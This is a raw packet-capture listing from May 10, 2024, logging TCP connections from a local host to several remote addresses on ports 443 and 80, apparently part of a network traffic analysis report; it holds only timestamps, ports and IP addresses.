May 10, 2024 09:20:55.519354105 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.519357920 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.519412994 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.520030975 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.520095110 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.520136118 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.553004980 CEST	49733	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.553030968 CEST	443	49733	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.555775881 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.555816889 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.555913925 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.556183100 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.556196928 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.612365961 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.616699934 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.616730928 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.617762089 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.617825985 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.618391991 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.618458986 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.618597031 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.618608952 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.661555052 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.786138058 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.786464930 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.786480904 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.793231964 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.793764114 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.793853998 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.793994904 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.840112925 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883254051 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883299112 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883330107 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883351088 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883361101 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.883375883 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883388042 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883426905 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.883426905 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.883459091 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883785009 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883822918 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883831978 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.883846045 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883888960 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883919001 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883924007 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.883934021 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.883948088 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.884689093 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.884707928 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.884736061 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.884744883 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.884782076 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.884785891 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.884793043 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.884836912 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.885584116 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885694027 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885723114 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885735989 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.885744095 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885770082 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885802984 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.885808945 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.885842085 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.886490107 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.886538029 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.886560917 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.886600018 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.886609077 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.886643887 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.886647940 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.887327909 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.887406111 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.887450933 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.887640953 CEST	49736	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.887655973 CEST	443	49736	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.890695095 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.890729904 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:55.890942097 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.891166925 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:55.891180992 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056016922 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056058884 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056085110 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056117058 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056126118 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.056142092 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056185961 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.056191921 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056202888 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.056231022 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.058118105 CEST	49737	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.058137894 CEST	443	49737	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.080955982 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.081000090 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.081060886 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.094388962 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.094417095 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.094501972 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.094904900 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.094944000 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.095063925 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.096306086 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.096337080 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.096605062 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.096889019 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.096915007 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.096965075 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.113014936 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.113035917 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.113605022 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.113620043 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.114157915 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.114176035 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.115052938 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.115071058 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.116192102 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.116215944 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.118253946 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.125444889 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.125472069 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.125890970 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.127633095 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.127712011 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.128184080 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.176120996 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.339301109 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.339550972 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.339584112 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.339945078 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.340040922 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.340308905 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.340454102 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.340462923 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.340480089 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.340600014 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.342129946 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.342396975 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.342410088 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.343116999 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.343166113 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.343290091 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.343606949 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.343904018 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.343916893 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.343978882 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.343986988 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.344114065 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.344172955 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.344196081 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.344521046 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.344578028 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.344692945 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.344698906 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.344809055 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.345016003 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.345025063 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.345524073 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.345582008 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.345890999 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.345966101 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.345973969 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.345977068 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.346075058 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.346312046 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.346366882 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.346386909 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.381267071 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381371975 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381401062 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381422997 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.381428957 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381458998 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381494999 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.381503105 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381535053 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.381623030 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381669998 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.381848097 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.381859064 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.382320881 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.382360935 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.386565924 CEST	49738	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.386589050 CEST	443	49738	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.386883974 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.386914015 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.386969090 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.387835026 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.387847900 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.388117075 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.388427019 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.388433933 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.388470888 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.388482094 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.395190001 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.395211935 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.395242929 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.436553955 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.436556101 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.437983036 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.608293056 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.608362913 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.608884096 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.608954906 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.608958960 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.608990908 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.611443043 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.611489058 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.611536980 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.612602949 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.612648010 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.612692118 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.615134001 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.615528107 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.615586996 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.615665913 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.623549938 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.623558998 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.624334097 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.641680002 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.641948938 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.641992092 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:56.642040014 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:56.642167091 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:56.642544985 CEST	49748	443	192.168.2.4	18.229.86.183
May 10, 2024 09:20:56.642555952 CEST	443	49748	18.229.86.183	192.168.2.4
May 10, 2024 09:20:56.642658949 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.646716118 CEST	49742	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.646739960 CEST	443	49742	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.647919893 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.647957087 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.648154974 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.649091959 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.649106979 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.650028944 CEST	49743	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.650043011 CEST	443	49743	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.650497913 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.650511980 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.650624990 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.650948048 CEST	49741	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.650964022 CEST	443	49741	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.651341915 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.651360035 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.651439905 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.651599884 CEST	49739	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.651628017 CEST	443	49739	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.651829958 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.651849031 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.651913881 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.652194023 CEST	49740	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.652205944 CEST	443	49740	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.652519941 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.652538061 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.652622938 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.653179884 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.653193951 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.653429985 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.653441906 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.653810024 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.653827906 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.654197931 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.654211044 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.684115887 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.769701004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:56.875272989 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.876365900 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.876403093 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.876765966 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.877110004 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.877177954 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.877204895 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.879551888 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.879750967 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.879755974 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.880141973 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.880553961 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.880611897 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.880620003 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.880687952 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.880803108 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.880815983 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.881424904 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.881603956 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.881617069 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.881808043 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.881880999 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.882184029 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.882244110 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.882286072 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.882612944 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.882664919 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.882919073 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.882975101 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.883151054 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.883157969 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.885634899 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.885688066 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.885744095 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.886419058 CEST	49744	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.886430979 CEST	443	49744	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.886833906 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.886869907 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.887072086 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.887939930 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.888056993 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.888071060 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.888206005 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.888215065 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.889223099 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.889341116 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.890636921 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.890700102 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.890727997 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.902484894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:56.902549028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:56.902868986 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:56.921237946 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.921251059 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.924119949 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.928123951 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.928534031 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.928641081 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.928649902 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.932121992 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.944013119 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.944026947 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:56.983433962 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:56.983665943 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.032978058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.033421040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.033433914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.033446074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.033458948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.033487082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.033535957 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.035059929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.035078049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.035092115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.035104036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.035140038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.035178900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.036778927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.036844015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.036895037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.065807104 CEST	49756	443	192.168.2.4	172.66.40.85
